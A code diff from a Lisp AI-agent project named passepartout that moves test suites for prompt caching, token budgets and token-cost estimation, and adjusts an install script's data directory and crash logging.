(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-token-economics-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:token-economics-suite))
|
||||
|
||||
(in-package :passepartout-token-economics-tests)
|
||||
|
||||
(def-suite token-economics-suite
|
||||
:description "Prompt prefix caching, incremental context, token budget")
|
||||
(in-suite token-economics-suite)
|
||||
|
||||
(test test-prompt-prefix-cached-identity
|
||||
"Contract 1: prompt-prefix-cached includes identity-content when provided."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) nil
|
||||
(cdr passepartout::*prompt-prefix-cache*) "")
|
||||
(let ((prefix (passepartout::prompt-prefix-cached
|
||||
"Agent" "### Mode: concise" "" nil "No tools")))
|
||||
(is (stringp prefix))
|
||||
(is (search "IDENTITY" prefix))
|
||||
(is (search "Mode: concise" prefix))
|
||||
(is (search "TOOLS" prefix))))
|
||||
|
||||
(test test-prompt-prefix-cached-builds
|
||||
"Contract 1: prompt-prefix-cached returns a string containing IDENTITY."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) nil
|
||||
(cdr passepartout::*prompt-prefix-cache*) "")
|
||||
(let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
|
||||
(is (stringp prefix))
|
||||
(is (search "IDENTITY" prefix))
|
||||
(is (search "TOOLS" prefix))))
|
||||
|
||||
(test test-prompt-prefix-cached-hits
|
||||
"Contract 1: second call with same inputs returns cached result."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) nil
|
||||
(cdr passepartout::*prompt-prefix-cache*) "")
|
||||
(let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
|
||||
(p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
|
||||
(is (string= p1 p2))))
|
||||
|
||||
(test test-prompt-prefix-cached-miss
|
||||
"Contract 1: different inputs rebuild the cache."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) nil
|
||||
(cdr passepartout::*prompt-prefix-cache*) "")
|
||||
(let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
|
||||
(p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools")))
|
||||
(is (not (string= p1 p2)))
|
||||
(is (search "Bot" p2))))
|
||||
|
||||
(test test-context-assemble-cached-skips-heartbeat
|
||||
"Contract 2: heartbeat sensors skip context assembly, return nil."
|
||||
(let ((result (passepartout::context-assemble-cached
|
||||
'(:foveal-focus "id1") :heartbeat)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-context-assemble-cached-skips-delegation
|
||||
"Contract 2: delegation sensors also skip assembly."
|
||||
(let ((result (passepartout::context-assemble-cached
|
||||
'(:foveal-focus "id1") :delegation)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-context-assemble-cached-non-skip
|
||||
"Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)."
|
||||
(let ((result (passepartout::context-assemble-cached
|
||||
'(:foveal-focus "id1") :user-input)))
|
||||
(is (stringp result))
|
||||
(is (> (length result) 0))))
|
||||
|
||||
(test test-enforce-token-budget-passthrough
|
||||
"Contract 3: under-budget prompts pass through unchanged."
|
||||
(multiple-value-bind (p c l u m)
|
||||
(passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000)
|
||||
(is (string= "hi" p))
|
||||
(is (string= "ctxt" c))
|
||||
(is (string= "log" l))
|
||||
(is (string= "user" u))
|
||||
(is (null m))))
|
||||
|
||||
(test test-enforce-token-budget-trims
|
||||
"Contract 3: over-budget prompts get trimmed."
|
||||
(let ((big-prefix (make-string 20000 :initial-element #\x)))
|
||||
(multiple-value-bind (p c l u m)
|
||||
(passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10)
|
||||
(declare (ignore p l u m))
|
||||
;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed
|
||||
(is (or (stringp c) (null c)))
|
||||
(is (search "[Context trimmed" (or c ""))))))
|
||||
|
||||
(test test-token-economics-initialize
|
||||
"Contract 4: initialize zeroes all cache state."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) 12345
|
||||
(cdr passepartout::*prompt-prefix-cache*) "stale")
|
||||
(setf (getf passepartout::*context-cache* :rendered) "stale context")
|
||||
(passepartout::token-economics-initialize)
|
||||
(is (null (car passepartout::*prompt-prefix-cache*)))
|
||||
(is (string= "" (cdr passepartout::*prompt-prefix-cache*)))
|
||||
(is (string= "" (getf passepartout::*context-cache* :rendered))))
|
||||
#+end_src
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package context
|
||||
@@ -311,7 +209,107 @@ Returns nil when no context cache data is available."
|
||||
nil)))
|
||||
#+end_src
|
||||
|
||||
* v0.8.0 Tests — Context Usage
|
||||
* Test Suite
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-token-economics-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:token-economics-suite))
|
||||
|
||||
(in-package :passepartout-token-economics-tests)
|
||||
|
||||
(def-suite token-economics-suite
|
||||
:description "Prompt prefix caching, incremental context, token budget")
|
||||
(in-suite token-economics-suite)
|
||||
|
||||
(test test-prompt-prefix-cached-identity
|
||||
"Contract 1: prompt-prefix-cached includes identity-content when provided."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) nil
|
||||
(cdr passepartout::*prompt-prefix-cache*) "")
|
||||
(let ((prefix (passepartout::prompt-prefix-cached
|
||||
"Agent" "### Mode: concise" "" nil "No tools")))
|
||||
(is (stringp prefix))
|
||||
(is (search "IDENTITY" prefix))
|
||||
(is (search "Mode: concise" prefix))
|
||||
(is (search "TOOLS" prefix))))
|
||||
|
||||
(test test-prompt-prefix-cached-builds
|
||||
"Contract 1: prompt-prefix-cached returns a string containing IDENTITY."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) nil
|
||||
(cdr passepartout::*prompt-prefix-cache*) "")
|
||||
(let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
|
||||
(is (stringp prefix))
|
||||
(is (search "IDENTITY" prefix))
|
||||
(is (search "TOOLS" prefix))))
|
||||
|
||||
(test test-prompt-prefix-cached-hits
|
||||
"Contract 1: second call with same inputs returns cached result."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) nil
|
||||
(cdr passepartout::*prompt-prefix-cache*) "")
|
||||
(let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
|
||||
(p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
|
||||
(is (string= p1 p2))))
|
||||
|
||||
(test test-prompt-prefix-cached-miss
|
||||
"Contract 1: different inputs rebuild the cache."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) nil
|
||||
(cdr passepartout::*prompt-prefix-cache*) "")
|
||||
(let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
|
||||
(p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools")))
|
||||
(is (not (string= p1 p2)))
|
||||
(is (search "Bot" p2))))
|
||||
|
||||
(test test-context-assemble-cached-skips-heartbeat
|
||||
"Contract 2: heartbeat sensors skip context assembly, return nil."
|
||||
(let ((result (passepartout::context-assemble-cached
|
||||
'(:foveal-focus "id1") :heartbeat)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-context-assemble-cached-skips-delegation
|
||||
"Contract 2: delegation sensors also skip assembly."
|
||||
(let ((result (passepartout::context-assemble-cached
|
||||
'(:foveal-focus "id1") :delegation)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-context-assemble-cached-non-skip
|
||||
"Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)."
|
||||
(let ((result (passepartout::context-assemble-cached
|
||||
'(:foveal-focus "id1") :user-input)))
|
||||
(is (stringp result))
|
||||
(is (> (length result) 0))))
|
||||
|
||||
(test test-enforce-token-budget-passthrough
|
||||
"Contract 3: under-budget prompts pass through unchanged."
|
||||
(multiple-value-bind (p c l u m)
|
||||
(passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000)
|
||||
(is (string= "hi" p))
|
||||
(is (string= "ctxt" c))
|
||||
(is (string= "log" l))
|
||||
(is (string= "user" u))
|
||||
(is (null m))))
|
||||
|
||||
(test test-enforce-token-budget-trims
|
||||
"Contract 3: over-budget prompts get trimmed."
|
||||
(let ((big-prefix (make-string 20000 :initial-element #\x)))
|
||||
(multiple-value-bind (p c l u m)
|
||||
(passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10)
|
||||
(declare (ignore p l u m))
|
||||
;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed
|
||||
(is (or (stringp c) (null c)))
|
||||
(is (search "[Context trimmed" (or c ""))))))
|
||||
|
||||
(test test-token-economics-initialize
|
||||
"Contract 4: initialize zeroes all cache state."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) 12345
|
||||
(cdr passepartout::*prompt-prefix-cache*) "stale")
|
||||
(setf (getf passepartout::*context-cache* :rendered) "stale context")
|
||||
(passepartout::token-economics-initialize)
|
||||
(is (null (car passepartout::*prompt-prefix-cache*)))
|
||||
(is (string= "" (cdr passepartout::*prompt-prefix-cache*)))
|
||||
(is (string= "" (getf passepartout::*context-cache* :rendered))))
|
||||
#+end_src* v0.8.0 Tests — Context Usage
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout-token-economics-tests)
|
||||
|
||||
@@ -344,4 +342,4 @@ Returns nil when no context cache data is available."
|
||||
(getf passepartout::*context-cache* :time-tokens) nil)
|
||||
(is (null (passepartout::context-usage-percentage))))
|
||||
(setf passepartout::*context-cache* saved-ctx))))
|
||||
#+end_src
|
||||
#+end_src
|
||||
@@ -30,81 +30,6 @@ The tokenizer feeds three subsystems:
|
||||
model and token count (combined input+output at input prices — slight
|
||||
overestimate is safer than underestimate for budgeting).
|
||||
|
||||
* Test Suite
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-tokenizer-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:tokenizer-suite))
|
||||
|
||||
(in-package :passepartout-tokenizer-tests)
|
||||
|
||||
(def-suite tokenizer-suite :description "Token counting and cost estimation")
|
||||
(in-suite tokenizer-suite)
|
||||
|
||||
(test test-count-tokens-default
|
||||
"Contract 1: count-tokens returns non-zero for a non-empty string."
|
||||
(let ((count (count-tokens "hello world")))
|
||||
(is (> count 0))
|
||||
(is (integerp count))))
|
||||
|
||||
(test test-count-tokens-known-model
|
||||
"Contract 1: count-tokens with a known model returns a count."
|
||||
(let ((count (count-tokens "hello world" :model :gpt-4o-mini)))
|
||||
(is (> count 0))
|
||||
(is (integerp count))))
|
||||
|
||||
(test test-count-tokens-unknown-model
|
||||
"Contract 1: count-tokens with an unknown model falls back to default."
|
||||
(let ((count (count-tokens "hello world" :model :unknown-model-xyz)))
|
||||
(is (> count 0))
|
||||
(is (integerp count))))
|
||||
|
||||
(test test-count-tokens-empty
|
||||
"Contract 1: count-tokens on empty string returns 0."
|
||||
(let ((count (count-tokens "")))
|
||||
(is (= 0 count))))
|
||||
|
||||
(test test-model-token-ratio-known
|
||||
"Contract 2: known model returns correct ratio."
|
||||
(is (= 4.0 (model-token-ratio :gpt-4o-mini)))
|
||||
(is (= 4.5 (model-token-ratio :claude-3-5-sonnet)))
|
||||
(is (= 3.5 (model-token-ratio :llama-3.1-70b))))
|
||||
|
||||
(test test-model-token-ratio-unknown
|
||||
"Contract 2: unknown model returns default ratio."
|
||||
(is (= 4.0 (model-token-ratio :unknown-model-abc))))
|
||||
|
||||
(test test-token-cost-known
|
||||
"Contract 3: token-cost returns a number for known model."
|
||||
(let ((cost (token-cost :gpt-4o-mini 1000)))
|
||||
(is (numberp cost))
|
||||
(is (> cost 0.0))))
|
||||
|
||||
(test test-token-cost-unknown
|
||||
"Contract 3: token-cost returns 0.0 for unknown model."
|
||||
(is (= 0.0 (token-cost :no-such-model 1000))))
|
||||
|
||||
(test test-provider-token-cost
|
||||
"Contract: provider-token-cost maps provider to model price."
|
||||
(let ((cost (provider-token-cost :deepseek 1000)))
|
||||
(is (numberp cost))
|
||||
(is (> cost 0.0))))
|
||||
|
||||
(test test-count-tokens-ratio-sensitivity
|
||||
"Contract 1: longer text produces proportionally more tokens."
|
||||
(let ((short (count-tokens "hi" :model :gpt-4o-mini))
|
||||
(long (count-tokens "this is a much longer piece of text with many words in it" :model :gpt-4o-mini)))
|
||||
(is (> long short))))
|
||||
|
||||
(test test-count-tokens-non-string
|
||||
"Contract 1: non-string values are coerced and counted."
|
||||
(let ((count (count-tokens 12345)))
|
||||
(is (> count 0))))
|
||||
#+end_src
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
@@ -225,3 +150,77 @@ Uses the provider's default model for pricing."
|
||||
0.0)))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-tokenizer-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:tokenizer-suite))
|
||||
|
||||
(in-package :passepartout-tokenizer-tests)
|
||||
|
||||
(def-suite tokenizer-suite :description "Token counting and cost estimation")
|
||||
(in-suite tokenizer-suite)
|
||||
|
||||
(test test-count-tokens-default
|
||||
"Contract 1: count-tokens returns non-zero for a non-empty string."
|
||||
(let ((count (count-tokens "hello world")))
|
||||
(is (> count 0))
|
||||
(is (integerp count))))
|
||||
|
||||
(test test-count-tokens-known-model
|
||||
"Contract 1: count-tokens with a known model returns a count."
|
||||
(let ((count (count-tokens "hello world" :model :gpt-4o-mini)))
|
||||
(is (> count 0))
|
||||
(is (integerp count))))
|
||||
|
||||
(test test-count-tokens-unknown-model
|
||||
"Contract 1: count-tokens with an unknown model falls back to default."
|
||||
(let ((count (count-tokens "hello world" :model :unknown-model-xyz)))
|
||||
(is (> count 0))
|
||||
(is (integerp count))))
|
||||
|
||||
(test test-count-tokens-empty
|
||||
"Contract 1: count-tokens on empty string returns 0."
|
||||
(let ((count (count-tokens "")))
|
||||
(is (= 0 count))))
|
||||
|
||||
(test test-model-token-ratio-known
|
||||
"Contract 2: known model returns correct ratio."
|
||||
(is (= 4.0 (model-token-ratio :gpt-4o-mini)))
|
||||
(is (= 4.5 (model-token-ratio :claude-3-5-sonnet)))
|
||||
(is (= 3.5 (model-token-ratio :llama-3.1-70b))))
|
||||
|
||||
(test test-model-token-ratio-unknown
|
||||
"Contract 2: unknown model returns default ratio."
|
||||
(is (= 4.0 (model-token-ratio :unknown-model-abc))))
|
||||
|
||||
(test test-token-cost-known
|
||||
"Contract 3: token-cost returns a number for known model."
|
||||
(let ((cost (token-cost :gpt-4o-mini 1000)))
|
||||
(is (numberp cost))
|
||||
(is (> cost 0.0))))
|
||||
|
||||
(test test-token-cost-unknown
|
||||
"Contract 3: token-cost returns 0.0 for unknown model."
|
||||
(is (= 0.0 (token-cost :no-such-model 1000))))
|
||||
|
||||
(test test-provider-token-cost
|
||||
"Contract: provider-token-cost maps provider to model price."
|
||||
(let ((cost (provider-token-cost :deepseek 1000)))
|
||||
(is (numberp cost))
|
||||
(is (> cost 0.0))))
|
||||
|
||||
(test test-count-tokens-ratio-sensitivity
|
||||
"Contract 1: longer text produces proportionally more tokens."
|
||||
(let ((short (count-tokens "hi" :model :gpt-4o-mini))
|
||||
(long (count-tokens "this is a much longer piece of text with many words in it" :model :gpt-4o-mini)))
|
||||
(is (> long short))))
|
||||
|
||||
(test test-count-tokens-non-string
|
||||
"Contract 1: non-string values are coerced and counted."
|
||||
(let ((count (count-tokens 12345)))
|
||||
(is (> count 0))))
|
||||
#+end_src
|
||||
11
passepartout
11
passepartout
@@ -81,6 +81,9 @@ setup_system() {
|
||||
esac
|
||||
done
|
||||
|
||||
# Always deploy to XDG, not the dev directory
|
||||
export PASSEPARTOUT_DATA_DIR="$(realpath -m "${XDG_DATA_HOME:-$HOME/.local/share}/passepartout")"
|
||||
|
||||
echo -e "${BLUE}=== Passepartout: Configure ===${NC}"
|
||||
mkdir -p "$PASSEPARTOUT_CONFIG_DIR" "$PASSEPARTOUT_DATA_DIR" "$PASSEPARTOUT_STATE_DIR" "$PASSEPARTOUT_BIN_DIR"
|
||||
mkdir -p "$PASSEPARTOUT_DATA_DIR/org" "$PASSEPARTOUT_DATA_DIR/lisp" "$PASSEPARTOUT_DATA_DIR/tests"
|
||||
@@ -97,7 +100,9 @@ setup_system() {
|
||||
fi
|
||||
|
||||
echo -e "${YELLOW}--- Deploying Engine to $PASSEPARTOUT_DATA_DIR ---${NC}"
|
||||
cp "$SCRIPT_DIR/passepartout.asd" "$PASSEPARTOUT_DATA_DIR/"
|
||||
if [ "$SCRIPT_DIR" != "$PASSEPARTOUT_DATA_DIR" ]; then
|
||||
cp "$SCRIPT_DIR/passepartout.asd" "$PASSEPARTOUT_DATA_DIR/"
|
||||
fi
|
||||
mkdir -p "$PASSEPARTOUT_DATA_DIR/org" "$PASSEPARTOUT_DATA_DIR/lisp" "$PASSEPARTOUT_DATA_DIR/tests"
|
||||
export INSTALL_DIR="$PASSEPARTOUT_DATA_DIR"
|
||||
|
||||
@@ -106,7 +111,7 @@ setup_system() {
|
||||
[ -f "$f" ] || continue
|
||||
fname=$(basename "$f" .org)
|
||||
echo "Tangling $fname..."
|
||||
cp "$f" "$PASSEPARTOUT_DATA_DIR/org/"
|
||||
[ "$SCRIPT_DIR" != "$PASSEPARTOUT_DATA_DIR" ] && cp "$f" "$PASSEPARTOUT_DATA_DIR/org/"
|
||||
(cd "$PASSEPARTOUT_DATA_DIR/org" && emacs -Q --batch \
|
||||
--eval "(require 'org)" \
|
||||
--eval "(setq org-confirm-babel-evaluate nil)" \
|
||||
@@ -382,7 +387,7 @@ case "$COMMAND" in
|
||||
--eval "(push (truename \"$PASSEPARTOUT_DATA_DIR/\") asdf:*central-registry*)" \
|
||||
--eval '(ql:quickload :passepartout/tui)' \
|
||||
--eval '(in-package :passepartout)' \
|
||||
--eval '(handler-bind ((error (lambda (c) (format t "~%CRASH: ~a~%" c) (sb-debug:print-backtrace :count 30 :stream *error-output*) (finish-output) (finish-output *error-output*) (uiop:quit 1)))) (passepartout.channel-tui:tui-main))'
|
||||
--eval '(handler-bind ((error (lambda (c) (ignore-errors (with-open-file (f (merge-pathnames ".cache/passepartout/tui-crash.log" (user-homedir-pathname)) :direction :output :if-exists :supersede :if-does-not-exist :create) (format f "CRASH: ~a~%~%" c) (sb-debug:print-backtrace :count 50 :stream f) (finish-output f))) (format t "~%=== TUI CRASH ===~%CRASH: ~a~%" c) (format t "Full backtrace saved to ~~/.cache/passepartout/tui-crash.log~~%") (sleep 3) (finish-output) (uiop:quit 1)))) (passepartout.channel-tui:tui-main))'
|
||||
;;
|
||||
gateway)
|
||||
SUBCMD=$1; PLATFORM=$2; TOKEN=$3
|
||||
|
||||
Reference in New Issue
Block a user